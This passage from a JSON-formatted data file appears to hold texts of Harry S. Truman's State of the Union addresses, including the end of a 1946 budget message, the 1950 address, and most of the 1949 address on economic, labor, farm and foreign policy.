net expenditures of the Export-Import Bank and\nexpenditures arising from the British credit and the Bretton Woods\nAgreements will amount to 2,614 million dollars, including the noncash item\nof 950 million dollars for the fund, in the fiscal year 1946, and 2,754\nmillion dollars in the fiscal year 1947.GENERAL GOVERNMENTThe responsibilities of the Government, in both domestic and international\naffairs, have increased greatly in the past decade. Consequently, the\nGovernment is larger than it was before the war, and its general operating\ncosts are higher. We cannot shrink the Government to prewar dimensions\nunless we slough off these new responsibilities--and we cannot do that\nwithout paying an excessive price in terms of our national welfare. We can,\nhowever, enhance its operating efficiency through improved organization. I\nexpect to make such improvements under the authority of the Reorganization\nAct of 1945.The appropriations which I am recommending for general government for the\nfiscal year 1947 are 1,604 million dollars under existing legislation. This\nis an increase of 458 million dollars over the total of enacted\nappropriations for the current fiscal year, but a substantial part of this\nincrease is due to the fact that the appropriations for the fiscal year\n1946 were made prior to the general increase of employees' salaries last\nJuly 1, for which allowance is made in the anticipated supplemental\nappropriations for 1946. The recommended total for 1947 for general\ngovernment, like the estimates for national defense and other specific\nprograms, does not allow for the further salary increases for Government\nemployees which, I hope, will be authorized by pending legislation, but-the\ntentative lump-sum estimates under proposed legislation contemplate that\nsuch salary increases will be effective almost at once.Expenditures for general government in the fiscal year 1947 are expected to\ncontinue the slowly rising trend which began in 1943. This category\nincludes a great variety of items--not merely the overhead costs of the\nGovernment. It includes all the expenditures of the Cabinet departments,\nother than for national defense, aids to agriculture, general public works,\nand the social security program. It includes also expenditures of the\nlegislative branch, the Judiciary, and many of the independent agencies of\nthe executive branch. Consequently, the estimated increase in 1947 in the\ntotal of general government expenditures reflects a variety of influences.Now included in general government are certain activities formerly\nclassified under national defense. Some of these, such as certain functions\nof the former foreign Economic Administration and the War Manpower\nCommission, are still needed during the period of reconversion; others are\nin the process of liquidation. A few wartime activities, for example, the\ninternational information and foreign intelligence services and some of the\nwartime programs for controlling disease and crime, have become part of our\nregular government establishment. Expenditures for these former wartime\nfunctions explain about 40 percent of the increase in expenditures for\ngeneral government.Other increases are for civil aeronautics promotion, the business and\nmanufacturing censuses, and other expanded business services of the\nDepartment of Commerce which have been referred to above; the forest and\nSoil Conservation Services and other committees of the Department of\ncertain conservation activities of the Department of the Interior; and the\ncollection of internal revenue in the Treasury Department.The necessity for reestablishing postal services curtailed during the war\nand advances in the rates of pay for postal employees have increased\nsubstantially the estimated expenditures for postal service for both the\ncurrent and the next fiscal year. It is not expected that this increase\nwill cause expenditures to exceed postal revenues in either year, although\nan excess of expenditures may occur in the fiscal year 1947 if salaries are\nincreased further.Expenditures for our share of the administrative budgets of the United\nNations and other permanent international bodies will increase sharply in\nthe fiscal year 1947, yet will remain a small part of our total Budget. The\nbudget for the United Nations has not yet been determined; an estimate for\nour contribution will be submitted later. Our contributions to the food and\nAgriculture Organization, the International Labor Office, the Pan American\nUnion, and other similar international agencies will aggregate about 3\nmillion dollars for the fiscal year 1947. The administrative expenses of\nthe International Monetary fund and the International Bank will be met from\ntheir general funds.We have won a great war--we, the nations of plain people who hate war. In\nthe test of that war we found a strength of unity that brought us\nthrough--a strength that crushed the power of those who sought by force to\ndeny our faith in the dignity of man.During this trial the voices of disunity among us were silent or were\nsubdued to an occasional whine that warned us that they were still among\nus. Those voices are beginning to cry aloud again. We must learn constantly\nto turn deaf ears to them. They are voices which foster fear and suspicion\nand intolerance and hate. They seek to destroy our harmony, our\nunderstanding of each other, our American tradition of \"live and let live.\"\nThey have become busy again, trying to set race against race, creed against\ncreed, farmer against city dweller, worker against employer, people against\ntheir own governments. They seek only to do us mischief. They must not\nprevail.It should be impossible for any man to contemplate without a sense of\npersonal humility the tremendous events of the 12 months since the last\nannual Message, the great tasks that confront us, the new and huge problems\nof the coming months and years. Yet these very things justify the deepest\nconfidence in the future of this Nation of free men and women.The plain people of this country found the courage and the strength, the\nself-discipline, and the mutual respect to fight and to win, with the help\nof our allies, under God. I doubt if the tasks of the future are more\ndifficult. But if they are, then I say that our strength and our knowledge\nand our understanding will be equal to those tasks.As printed above, references to tables appearing in the budget document\nhave been omitted.", 
+    "name": "Harry S. Truman"
+}
\ No newline at end of file
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+{
+    "date": "January 4, 1950", 
+    "speech": "Mr. President, Mr. Speaker, Members of the Congress:A year ago I reported to this Congress that the state of the Union was\ngood. I am happy to be able to report to you today that the state of the\nUnion continues to be good. Our Republic continues to increase in the\nenjoyment of freedom within its borders, and to offer strength and\nencouragement to all those who love freedom throughout the world.During the past year we have made notable progress in strengthening the\nfoundations of peace and freedom, abroad and at home.We have taken important steps in securing the North Atlantic community\nagainst aggression. We have continued our successful support of European\nrecovery. We have returned to our established policy of expanding\ninternational trade through reciprocal agreement. We have strengthened our\nsupport of the United Nations.While great problems still confront us, the greatest danger has\nreceded--the possibility which faced us 3 years ago that most of Europe and\nthe Mediterranean area might collapse under totalitarian pressure. Today,\nthe free peoples of the world have new vigor and new hope for the cause of\npeace.In our domestic affairs, we have made notable advances toward broader\nopportunity and a better life for all our citizens.We have met and reversed the first significant downturn in economic\nactivity since the war. In accomplishing this, Government programs for\nmaintaining employment and purchasing power have been of tremendous\nbenefit. As the result of these programs, and the wisdom and good judgment\nof our businessmen and workers, major readjustments have been made without\nwidespread suffering.During the past year, we have also made a good start in providing housing\nfor low-income groups; we have raised minimum wages; we have gone forward\nwith the development of our natural resources; we have given a greater\nassurance of stability to the farmer; and we have improved the organization\nand efficiency of our Government.Today, by the grace of God, we stand a free and prosperous nation with\ngreater possibilities for the future than any people ever had before in the\nhistory of the world.We are now, in this year of 1950, nearing the midpoint of the 20th\ncentury.The first half of this century will be known as the most turbulent and\neventful period in recorded history. The swift pace of events promises to\nmake the next 50 years decisive in the history of man on this planet.The scientific and industrial revolution which began two centuries ago has,\nin the last 50 years, caught up the peoples of the globe in a common\ndestiny. Two world-shattering wars have proved that no corner of the earth\ncan be isolated from the affairs of mankind.The human race has reached a turning point. Man has opened the secrets of\nnature and mastered new powers. If he uses them wisely, he can reach new\nheights of civilization. If he uses them foolishly, they may destroy him.Man must create the moral and legal framework for the world which will\ninsure that his new powers are used for good and not for evil. In shaping\nthe outcome, the people of the United States will play a leading role.Among all the great changes that have occurred in the last 50 years, none\nis more important than the change in the position of the United States in\nworld affairs. Fifty years ago we were a country devoted largely to our own\ninternal affairs. Our industry was growing, and we had new interests in the\nFar East and in the Caribbean, but we were primarily concerned with the\ndevelopment of vast areas of our own continental territory.Today, our population has doubled. Our national production has risen from\nabout $50 billion, in terms of today's prices, to the staggering figure of\n$255 billion a year. We have a more productive economic system and a\ngreater industrial potential than any other nation on the globe. Our\nstandard of living is an inspiration for all other peoples. Even the\nslightest changes in our economic and social life have their effect on\nother countries all around the world.Our tremendous strength has brought with it tremendous responsibilities. We\nhave moved from the outer edge to the center of world affairs. Other\nnations look to us for a wise exercise of our economic and military\nstrength, and for vigorous support of the ideals of representative\ngovernment and a free society. We will not fail them.Our objective in the world is peace. Our country has joined with others in\nthe task of achieving peace. We know now that this is not an easy task, or\na short one. But we are determined to see it through. Both of our great\npolitical parties are committed to working together--and I am sure they\nwill continue to work together--to achieve this end. We are prepared to\ndevote our energy and our resources to this task, because we know that our\nown security and the future of mankind are at stake.Right here, I want to say that no one appreciates more than I the\nbipartisan cooperation in foreign affairs which has been enjoyed by this\nadministration.Our success in working with other nations to achieve peace depends largely\non what we do at home. We must preserve our national strength. Strength is\nnot simply a matter of arms and force. It is a matter of economic growth,\nand social health, and vigorous institutions, public and private. We can\nachieve peace only if we maintain our productive energy, our democratic\ninstitutions, and our firm belief in individual freedom.Our surest guide in the days that lie ahead will be the spirit in which\nthis great Republic was rounded. We must make our decisions in the\nconviction that all men are created equal, that they are equally entitled\nto life, liberty, and the pursuit of happiness, and that the duty of\ngovernment is to serve these ends.This country of ours has experienced many blessings, but none greater than\nits dedication to these principles. At every point in our history, these\nideals have served to correct our failures and shortcomings, to spur us on\nto greater efforts, and to keep clearly before us the primary purpose of\nour existence as a nation. They have enshrined for us, a principle of\ngovernment, the moral imperative to do justice, and the divine command to\nmen to love one another.These principles give meaning to all that we do.In foreign policy, they mean that we can never be tolerant of oppression or\ntyranny. They mean that we must throw our weight on the side of greater\nfreedom and a better life for all peoples. These principles confirm us in\ncarrying out the specific programs for peace which we have already begun.We shall continue to give our wholehearted support to the United Nations.\nWe believe that this organization can ultimately provide the framework of\ninternational law and morality without which mankind cannot survive. It has\nalready set up new standards for the conduct of nations in the Declaration\nof Human Rights and the Convention on Genocide. It is moving ahead to give\nmeaning to the concept of world brotherhood through a wide variety of\ncultural, economic, and technical activities.The events of the past year again showed the value of the United Nations in\nbringing about the peaceful adjustment of tense international\ncontroversies. In Indonesia and in Palestine the efforts of the United\nNations have put a stop to bloodshed and paved the way to peaceful\nsettlements.We are working toward the time when the United Nations will control weapons\nof mass destruction and will have the forces to preserve international law\nand order. While the world remains unsettled, however, and as long as our\nown security and the security of the free world require, we will maintain a\nstrong and well-balanced defense organization. The Selective Service System\nis an essential part of our defense plans, and it must be continued.Under the principles of the United Nations Charter we must continue to\nshare in the common defense of free nations against aggression. At the last\nsession this Congress laid the basis for this joint effort. We now must put\ninto effect the common defense plans that are being worked out.We shall continue our efforts for world economic recovery, because world\nprosperity is the only sure foundation of a permanent peace.As an immediate means to this end we must continue our support of the\nEuropean recovery program. This program has achieved great success in the\nfirst 2 years of its operation, but it has not yet been completed. If we\nwere to stop this program now, or cripple it, just because it is\nsucceeding, we should be doing exactly what the enemies of democracy want\nus to do. We should be just as foolish as a man who, for reasons of false\neconomy, failed to put a roof on his house after building the foundation\nand the walls.World prosperity also requires that we do all we can to expand world trade.\nAs a major step in this direction we should promptly join the International\nTrade Organization. The purpose of this organization, which the United\nStates has been foremost in creating, is to establish a code of fair\npractice, and an international authority for adjusting differences in\ninternational commercial relations. It is an effort to prevent the kind of\nanarchy and irresponsibility in world trade which did so much to bring\nabout the world depression of the 1930's. An expanding world economy\nrequires the improvement of living standards and the development of\nresources in areas where human poverty and misery now prevail. Without such\nimprovement the recovery of Europe and the future of our own economy will\nnot be secure. I urge that the Congress adopt the legislation now before it\nto provide for increasing the flow of technical assistance and capital\ninvestment in underdeveloped regions.It is more essential now than ever, if the ideals of freedom and\nrepresentative government are to prevail in these areas, and particularly\nin the Far East, that their peoples experience, in their own lives, the\nbenefits of scientific and economic advances. This program will require the\nmovement of large amounts of capital from the industrial nations, and\nparticularly from the United States, to productive uses in the\nunderdeveloped areas of the world. Recent world events make prompt action\nimperative.This program is in the interest of all peoples-and has nothing in common\nwith either the old imperialism of the last century or the new imperialism\nof the Communists.Our aim for a peaceful, democratic world of free peoples will be achieved\nin the long run, not by force of arms, but by an appeal to the minds and\nhearts of men. If the peace policy of the democratic nations is to be\nsuccessful, they must demonstrate that the benefits of their way of life\ncan be increased and extended to all nations and all races.In the world today we are confronted with the danger that the rising demand\nof people everywhere for freedom and a better life may be corrupted and\nbetrayed by the false promises of communism. In its ruthless struggle for\npower, communism seizes upon our imperfections, and takes advantage of the\ndelays and setbacks which the democratic nations experience in their effort\nto secure a better life for their citizens. This challenge to us is more\nthan a military challenge. It is a challenge to the honesty of our\nprofession of the democratic faith; it is a challenge to the efficiency and\nstability of our economic system; it is a challenge to the willingness to\nwork with other peoples for world peace and for world prosperity.For my part I welcome that challenge. I believe that our country, at this\ncrucial point in world history, will meet that challenge successfully. I\nbelieve that, in cooperation with the other free nations of the world, we\nshall extend the full benefits of the democratic way of life to millions\nwho do not now enjoy them, and preserve mankind from dictatorship and\ntyranny.I believe that we shall succeed in our struggle for this peace, because I\nhave seen the success we have had in our own country in following the\nprinciples of freedom. Over the last 50 years, the ideals of liberty and\nequal opportunity to which this Nation is dedicated have been increasingly\nrealized in the lives of our people.The ideal of equal opportunity no longer means simply the opportunity which\na man has to advance beyond his fellows. Some of our citizens do achieve\ngreater success than others as a reward for individual merit and effort,\nand this is as it should be. At the same time our country must be more than\na land of opportunity for a select few. It must be a land of opportunity\nfor all of us. In such a land we can grow and prosper together.The simple truth that we can all go forward together is often questioned by\nselfish or shortsighted persons. It is strange that this is so, for this\nproposition is so clearly demonstrated by our national history. During the\nlast 50 years, for example, our Nation has grown enormously in material\nwell-being. This growth has come about, not by concentrating the benefits\nof our progress in the hands of a few, but by increasing the wealth of the\ngreat body of our Nation and our citizens.In the last 50 years the income of the average family has increased so\ngreatly that its buying power has doubled. The average hours of work have\ndeclined from 60 to 40 a week, the whole hourly production of the average\nworker has tripled. Average wages, allowing for price changes, have\nincreased from about 45 cents an hour to $1.40 an hour.We have accomplished what to earlier ages of mankind would have been a\nmiracle--we work shorter hours, we produce more, and we live better.Increasing freedom from poverty and drudgery has given a fuller meaning to\nAmerican life. Our people are better educated; we have more opportunities\nfor travel and recreation and enjoyment of the arts. We enjoy more personal\nliberty in the United States today than ever before.If we can continue in the spirit of cooperative adventure which has marked\nthe recent years of our progress, we can expect further scientific\nadvances, further increases in our standard of living, and a still wider\nenjoyment of democratic freedom.No one, of course, can foretell the future exactly. However, if we assume\nthat we shall grow as fast in the future as we have grown in the past, we\ncan get a good idea of how much our country should grow in the next 50\nyears.At present our total national production is $255 billion a year. Our\nworking population and our output per worker are increasing. If our\nproductive power continues to increase at the same rate as it has increased\nover the past 50 years, our total national production 50 years from now\nwill be nearly four times as much as it is today. Allowing for the expected\ngrowth in population, this would mean that the real income of the average\nfamily in the year 2000 A.D. would be about three times what it is today.These are estimates of what we can do in the future, but we can reach these\nheights only if we follow the right policies. We have learned by bitter\nexperience that progress is not automatic--that wrong policies lead to\ndepression and disaster. We cannot achieve these gains unless we have a\nstable economy and avoid the catastrophes of boom and bust that have set us\nback in the past.These gains cannot be achieved unless our businessmen maintain their spirit\nof initiative and enterprise and operate in a competitive economy. They\ncannot be achieved unless our workingmen and women and their unions help to\nincrease productivity and obtain for labor a fair share of the benefits of\nour economic system. They cannot be achieved unless we have a stable and\nprosperous agriculture. They cannot be achieved unless we conserve and\ndevelop our natural resources in the public interest. Our system will not\nwork unless our people are healthy, well-educated, and confident of the\nfuture. It will not work unless all citizens can participate fully in our\nnational life.In achieving these gains the Government has a special responsibility to\nhelp create and maintain the conditions which will permit the growth we\nknow is possible. Foremost among these conditions is the need for a fair\ndistribution of our increasing prosperity among all the great groups of our\npopulation who help to bring it about-labor, business, agriculture.Businessmen must continue to have the incentives necessary for investment\nand for the development of new lines of enterprise. In the future growth of\nthis country, lie possibilities for hundreds of thousands of new and\nindependent businesses. As our national production increases, as it doubles\nand redoubles in the next 50 years, the number of independent and competing\nenterprises should also increase. If the number does not increase, our\nconstantly growing economy will fall under the control of a few dominant\neconomic groups whose powers will be so great that they will be a challenge\nto democratic institutions.To avoid this danger, we must curb monopoly and provide aids to independent\nbusiness so that it may have the credit and capital to compete in a system\nof free enterprise. I recommend that the Congress complete action at this\nsession on the pending bill to close the loopholes in the Clayton Act which\nnow permit monopolistic mergers. I also hope before this session is over to\ntransmit to the Congress a series of proposals to strengthen the\nantimonopoly laws, to assist small business, and to encourage the growth of\nnew enterprises.In the case of labor, free collective bargaining must be protected and\nencouraged. Collective bargaining is not only a fundamental economic\nfreedom for labor. It is also a strengthening and stabilizing influence for\nour whole economy.The Federal statute now governing labor relations is punitive in purpose\nand one-sided in operation. This statute is, and always has been,\ninconsistent with the practice of true and effective collective bargaining.\nIt should be repealed and replaced by a law that is fair to all and in\nharmony with our democratic ideals.A full understanding of the problems of modern labor relations is of such\nimportance that I recommend the establishment of a labor extension service\nto encourage educational activities in this field.Another essential for our continued growth is a stable and prosperous\nagriculture. For many years we have been building a program to give the\nfarmer a reasonable measure of protection against the special hazards to\nwhich he is exposed. That program was improved at the last session of the\nCongress. However, our farm legislation is still not adequate.Although the Congress has properly declared as a matter of national policy\nthat safeguards must be maintained against slumps in farm prices, there are\nserious shortcomings in the methods now available for carrying out this\npolicy. Mandatory price supports should be provided for the commodities not\nnow covered which are major sources of farm income.Moreover, we should provide a method of supporting farm income at fair\nlevels which will, at the same time, avoid piling up unmanageable surpluses\nand allow consumers to obtain the full benefit of our abundant agricultural\nproduction. A system of production payments gives the greatest promise of\naccomplishing this purpose. I recommend that the use of such a system be\nauthorized.One of the most important factors in our continued growth is the\nconstruction of more good, up-to-date housing. In a country such as ours\nthere is no reason why decent homes should not be within the reach of all.\nWith the help of various Government programs we have made great progress in\nthe last few years in increasing the number of homes.Despite this increase, there is still an acute shortage of housing for the\nlower and middle-income groups, especially in large metropolitan areas. We\nhave laid the groundwork for relieving the plight of lower-income families\nin the Housing Act of 1949. To aid the middle-income families, I recommend\nthat the Congress enact new legislation authorizing a vigorous program to\nhelp cooperatives and other nonprofit groups build housing which these\nfamilies can afford.Rent control has done a great deal to prevent the housing shortage from\nhaving had worse effects during this postwar period of adjustment. Rent\ncontrol is still necessary to prevent widespread hardship and sharp\ncurtailment of the buying power of millions of consumers in metropolitan\nareas. I recommend, therefore, that rent control be continued for another\nyear.If we are to achieve a better life for all, the natural resources of the\ncountry must be regarded as a public trust. We must use our precious assets\nof soil, water, and forest, and grassland in such a way that they become\nconstantly more productive and more valuable. Government investment in the\nconservation and development of our resources is necessary to the future\neconomic expansion of the country.We need to enlarge the production and transmission of public power. That is\ntrue not only in those regions which have already received great benefits\nfrom Federal power projects, but also in regions such as New England where\nthe benefits of large-scale public power development have not yet been\nexperienced.In our hydroelectric and irrigation undertakings, as well as in our other\nresource programs, we must continue policies to assure that their benefits\nwill be spread among the many and not restricted to the favored few.Important resource legislation which should be passed at this session\nincludes the authorization of the St. Lawrence seaway and power project and\nthe establishment of the Columbia Valley Administration--the establishment\nof the Columbia Valley Administration, I don't want you to miss that.Through wise Government policies and Government expenditures for the\nconservation and development of our natural resources, we can be sure of\ntransmitting to our children and our children's children a country far\nricher and more productive than the one we know today.The value of our natural resources is constantly being increased by the\nprogress of science. Research is finding new ways of using such natural\nassets as minerals, sea water, and plant life. In the peaceful development\nof atomic energy, particularly, we stand on the threshold of new wonders.\nThe first experimental machines for producing useful power from atomic\nenergy are now under construction. We have made only the first beginnings\nin this field, but in the perspective of history they may loom larger than\nthe first airplane, or even the first tools that started man on the road to\ncivilization.To take full advantage of the increasing possibilities of nature we must\nequip ourselves with increasing knowledge. Government has a responsibility\nto see that our country maintains its position in the advance of science.\nAs a step toward this end, the Congress should complete action on the\nmeasure to create a National Science Foundation.Another duty of the Government is to promote the economic security, the\nhealth, and the education of its citizens. By so doing, we strengthen both\nour economy and the structure of our society. In a nation as rich as ours,\nall citizens should be able to live in decency and health.Our Social Security System should be developed into the main reliance of\nour people for basic protection against the economic hazards of old-age,\nunemployment, and illness. I earnestly hope that the Congress will complete\naction at this session on legislation to increase the benefits and extend\nthe coverage of old-age and survivors' insurance. The widespread movement\nto provide pensions in private industry dramatizes the need for\nimprovements in the public insurance system.I also urge that the Congress strengthen our unemployment compensation law\nto meet present-day needs more adequately. The economic downturn of the\npast year was the first real test that our system of unemployment insurance\nhas had to meet. That test has proved the wisdom of the system, but it has\nalso made strikingly apparent the need for improving its operation and\nincreasing its coverage and its benefits.In the field of health there are immense opportunities to extend to more of\nour people the benefits of the amazing advances in medical science. We have\nmade a good beginning in expanding our hospitals, but we must also go on to\nremedy the shortages of doctors, nurses, and public health services, and to\nestablish a system of medical insurance which will enable all Americans to\nafford good medical care.We must take immediate steps to strengthen our educational system. In many\nparts of our country, young people are being handicapped for life because\nof a poor education. The rapidly increasing number of children of school\nage, coupled with the shortage of qualified teachers, makes this problem\nmore critical each year. I believe that the Congress should no longer delay\nin providing Federal assistance to the States so that they can maintain\nadequate schools.As we go forward in achieving greater economic security and greater\nopportunity for all our people, we should make every effort to extend the\nbenefits of our democratic institutions to every citizen. The religious\nideals which we profess, and the heritage of freedom which we have received\nfrom the past, clearly place that duty upon us. I again urge the Congress\nto enact the civil rights proposals I made in February 1948. These\nproposals are for the enactment of Federal statutes which will protect all\nour people in the exercise of their democratic rights and their search for\neconomic opportunity, grant statehood to Alaska and Hawaii, provide a\ngreater measure of self-government for our island possessions, and accord\nhome rule to the District of Columbia. Some of those proposals have been\nbefore the Congress for a long time. Those who oppose them, as well as\nthose who favor them, should recognize that it is the duty of the elected\nrepresentatives of the people to let these proposals come to a vote.Our democratic ideals, as well as our best interests, require that we do\nour fair share in providing homes for the unfortunate victims of war and\ntyranny. In so doing, we shall add strength to our democracy through the\nabilities and skills which these men and women will bring here. I urge the\nprompt enactment by the Congress of the legislation now before it to extend\nand broaden the existing displaced persons law and remove its\ndiscriminatory features.The measures I am recommending to the Congress concerning both our foreign\nand our domestic policies represent a carefully considered program to meet\nour national needs. It is a program which necessarily requires large\nexpenditures of funds. More than 70 percent of the Government's\nexpenditures are required to meet the costs of past wars and to work for\nworld peace. This is the dominant factor in our fiscal policy. At the same\ntime, the Government must make substantial expenditures which are necessary\nto the growth and expansion of the domestic economy.At present, largely because of the ill-considered tax reduction of the Both\nCongress, the Government is not receiving enough revenue to meet its\nnecessary expenditures.To meet this situation, I am proposing that Federal expenditures be held to\nthe lowest levels consistent with our international requirements and the\nessential needs of economic growth, and the well-being of our people. I\nthink I had better read that over; you interrupted me in the middle.To meet this situation, I am proposing that Federal expenditures be held to\nthe lowest levels consistent with our international requirements and the\nessential needs of economic growth, and the well-being of our people. Don't\nforget that last phrase. At the same time, we must guard against the folly\nof attempting budget slashes which would impair our prospects for peace or\ncripple the programs essential to our national strength.The budget recommendations I shall shortly transmit to the Congress show\nthat we can expect a substantial improvement in our fiscal position over\nthe next few years, as the cost of some of our extraordinary postwar\nprograms declines, and as the Government revenue rises as a result of\ngrowth in employment and national income. To further improve our fiscal\noutlook, we should make some changes in our tax system which will reduce\npresent inequities, stimulate business activity, and yield a moderate\namount of additional revenue. I expect to transmit specific recommendations\nto the Congress on this subject at a very early date.The fiscal policy I am recommending is the quickest and safest way of\nachieving a balanced budget.As we move forward into the second half of the 20th century, we must always\nbear in mind the central purpose of our national life. We do not seek\nmaterial prosperity for ourselves because we love luxury; we do not aid\nother nations because we wish to increase our power. We have not devised\nprograms for the security and well-being of our people because we are\nafraid or unwilling to take risks. This is not the meaning of our past\nhistory or our present course.We work for a better life for all, so that all men may put to good use the\ngreat gifts with which they have been endowed by their Creator. We seek to\nestablish those material conditions of life in which, without exception,\nmen may live in dignity, perform useful work, serve their communities, and\nworship God as they see fit.These may seem simple goals, but they are not little ones. They are worth a\ngreat deal more than all the empires and conquests of history. They are not\nto be achieved by military aggression or political fanaticism. They are to\nbe achieved by humbler means-by hard work, by a spirit of self-restraint in\nour dealings with one another, and by a deep devotion to the principles of\njustice and equality.It should make us truly thankful, as we look back to the beginnings of this\ncountry, that we have come so far along the road to a better life for all.\nIt should make us humble to think, as we look ahead, how much farther we\nhave to go to accomplish, at home and abroad, the objectives that were set\nout for us at the founding of this great Nation.As we approach the halfway mark of the 20th century, we should ask for\ncontinued strength and guidance from that Almighty Power who has placed\nbefore us such great opportunities for the good of mankind in the years to\ncome.", 
+    "name": "Harry S. Truman"
+}
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+{
+    "date": "January 5, 1949", 
+    "speech": "Mr. President, Mr. Speaker, Members of the Congress:I am happy to report to this 81st Congress that the state of the Union is\ngood. Our Nation is better able than ever before to meet the needs of the\nAmerican people, and to give them their fair chance in the pursuit of\nhappiness. This great Republic is foremost among the nations of the world\nin the search for peace.During the last 16 years, our people have been creating a society which\noffers new opportunities for every man to enjoy his share of the good\nthings of life.In this society, we are conservative about the values and principles which\nwe cherish; but we are forward-looking in protecting those values and\nprinciples and in extending their benefits. We have rejected the\ndiscredited theory that the fortunes of the Nation should be in the hands\nof a privileged few. We have abandoned the \"trickledown\" concept of\nnational prosperity. Instead, we believe that our economic system should\nrest on a democratic foundation and that wealth should be created for the\nbenefit of all.The recent election shows that the people of the United States are in favor\nof this kind of society and want to go on improving it.The American people have decided that poverty is just as wasteful and just\nas unnecessary as preventable disease. We have pledged our common resources\nto help one another in the hazards and struggles of individual life. We\nbelieve that no unfair prejudice or artificial distinction should bar any\ncitizen of the United States of America from an education, or from good\nhealth, or from a job that he is capable of performing.The attainment of this kind of society demands the best efforts of every\ncitizen in every walk of life, and it imposes increasing responsibilities\non the Government.The Government must work with industry, labor, and the farmers in keeping\nour economy running at full speed. The Government must see that every\nAmerican has a chance to obtain his fair share of our increasing abundance.\nThese responsibilities go hand in hand.We cannot maintain prosperity unless we have a fair distribution of\nopportunity and a widespread consumption of the products of our factories\nand farms.Our Government has undertaken to meet these responsibilities.We have made tremendous public investments in highways, hydroelectric\npower projects, soil conservation, and reclamation. We have established a\nsystem of social security. We have enacted laws protecting the rights and\nthe welfare of our working people and the income of our farmers. These\nFederal policies have paid for themselves many times over. They have\nstrengthened the material foundations of our democratic ideals. Without\nthem, our present prosperity would be impossible.Reinforced by these policies, our private enterprise system has reached new\nheights of production. Since the boom year of 1929, while our population\nhas increased by only 20 percent, our agricultural production has increased\nby 45 percent, and our industrial production has increased by 75 percent.\nWe are turning out far more goods and more wealth per worker than we have\never done before.This progress has confounded the gloomy prophets--at home and abroad who\npredicted the downfall of American capitalism. The people of the United\nStates, going their own way, confident in their own powers, have achieved\nthe greatest prosperity the world has even seen.But, great as our progress has been, we still have a long way to go.As we look around the country, many of our shortcomings stand out in bold\nrelief.We are suffering from excessively high prices.Our production is still not large enough to satisfy our demands.Our minimum wages are far too low.Small business is losing ground to growing monopoly.Our farmers still face an uncertain future. And too many of them lack the\nbenefits of our modern civilization.Some of our natural resources are still being wasted.We are acutely short of electric power, although the means for developing\nsuch power are abundant.Five million families are still living in slums and firetraps. Three\nmillion families share their homes with others.Our health is far behind the progress of medical science. Proper medical\ncare is so expensive that it is out of the reach of the great majority of\nour citizens.Our schools, in many localities, are utterly inadequate.Our democratic ideals are often thwarted by prejudice and intolerance.Each of these shortcomings is also an opportunity-an opportunity for the\nCongress and the President to work for the good of the people.Our first great opportunity is to protect our economy against the evils of\n\"boom and bust.\"This objective cannot be attained by government alone. Indeed, the greater\npart of the task must be performed by individual efforts under our system\nof free enterprise. We can keep our present prosperity, and increase it,\nonly if free enterprise and free government work together to that end.We cannot afford to float along ceaselessly on a postwar boom until it\ncollapses. It is not enough merely to prepare to weather a recession if it\ncomes. Instead, government and business must work together constantly to\nachieve more and more jobs and more and more production--which mean more\nand more prosperity for all the people.The business cycle is man-made; and men of good will, working together, can\nsmooth it out.So far as business is concerned, it should plan for steady, vigorous\nexpansion--seeking always to increase its output, lower its prices, and\navoid the vices of monopoly and restriction. So long as business does this,\nit will be contributing to continued prosperity, and it will have the help\nand encouragement of the Government.The Employment Act of 1946 pledges the Government to use all its resources\nto promote maximum employment, production, and purchasing power. This means\nthat the Government is firmly committed to protect business and the people\nagainst the dangers of recession and against the evils of inflation. This\nmeans that the Government must adapt its plans and policies to meet\nchanging circumstances.At the present time, our prosperity is threatened by inflationary pressures\nat a number of critical points in our economy. And the Government must be\nin a position to take effective action at these danger spots. To that end,\nI recommend that the Congress enact legislation for the following\npurposes:First, to continue the power to control consumer credit and enlarge the\npower to control bank credit.Second, to grant authority to regulate speculation on the commodity\nexchanges.Third, to continue export control authority and to provide adequate\nmachinery for its enforcement.Fourth, to continue the priorities and allocation authority in the field of\ntransportation.Fifth, to authorize priorities and allocations for key materials in short\nsupply.Sixth, to extend and strengthen rent control.Seventh, to provide standby authority to impose price ceilings for scarce\ncommodities which basically affect essential industrial production or the\ncost of living, and to limit unjustified wage adjustments which would force\na break in an established price ceiling.Eighth, to authorize an immediate study of the adequacy of production\nfacilities for materials in critically short supply, such as steel; and, if\nfound necessary, to authorize Government loans for the expansion of\nproduction facilities to relieve such shortages, and to authorize the\nconstruction of such facilities directly, if action by private industry\nfails to meet our needs.The Economic Report, which I shall submit to the Congress shortly, will\ndiscuss in detail the economic background for these recommendations.One of the most important factors in maintaining prosperity is the\nGovernment's fiscal policy. At this time, it is essential not only that the\nFederal budget be balanced, but also that there be a substantial surplus to\nreduce inflationary pressures, and to permit a sizable reduction in the\nnational debt, which now stands at $252 billion. I recommend, therefore,\nthat the Congress enact new tax legislation to bring in an additional $4\nbillion of Government revenue. This should come principally from additional\ncorporate taxes. A portion should come from revised estate and gift taxes.\nConsideration should be given to raising personal income rates in the\nmiddle and upper brackets.If we want to keep our economy running in high gear, we must be sure that\nevery group has the incentive to make its full contribution to the national\nwelfare. At present, the working men and women of the Nation are unfairly\ndiscriminated against by a statute that abridges their rights, curtails\ntheir constructive efforts, and hampers our system of free collective\nbargaining. That statute is the Labor-Management Relations Act of 1947,\nsometimes called the Taft-Hartley Act.That act should be repealed!The Wagner Act should be reenacted. However, certain improvements, which I\nrecommended to the Congress 2 years ago, are needed. Jurisdictional strikes\nand unjustified secondary boycotts should be prohibited. The use of\neconomic force to decide issues arising out of the interpretation of\nexisting contracts should be prevented. Without endangering our democratic\nfreedoms, means should be provided for setting up machinery for preventing\nstrikes in vital industries which affect the public interest.The Department of Labor should be rebuilt and strengthened and those units\nproperly belonging within that department should be placed in it.The health of our economy and its maintenance at high levels further\nrequire that the minimum wage fixed by law should be raised to at least 75\ncents an hour.If our free enterprise economy is to be strong and healthy, we must\nreinvigorate the forces of competition. We must assure small business the\nfreedom and opportunity to grow and prosper. To this purpose, we should\nstrengthen our antitrust laws by closing those loopholes that permit\nmonopolistic mergers and consolidations.Our national farm program should be improved-not only in the interest of\nthe farmers, but for the lasting prosperity of the whole Nation. Our goals\nshould be abundant farm production and parity income for agriculture.\nStandards of living on the farm should be just as good as anywhere else in\nthe country.Farm price supports are an essential part of our program to achieve these\nends. Price supports should be used to prevent farm price declines which\nare out of line with general price levels, to facilitate adjustments in\nproduction to consumer demands, and to promote good land use. Our price\nsupport legislation must be adapted to these objectives. The authority of\nthe Commodity Credit Corporation to provide adequate storage space for\ncrops should be restored.Our program for farm prosperity should also seek to expand the domestic\nmarket for agricultural products, particularly among low-income groups, 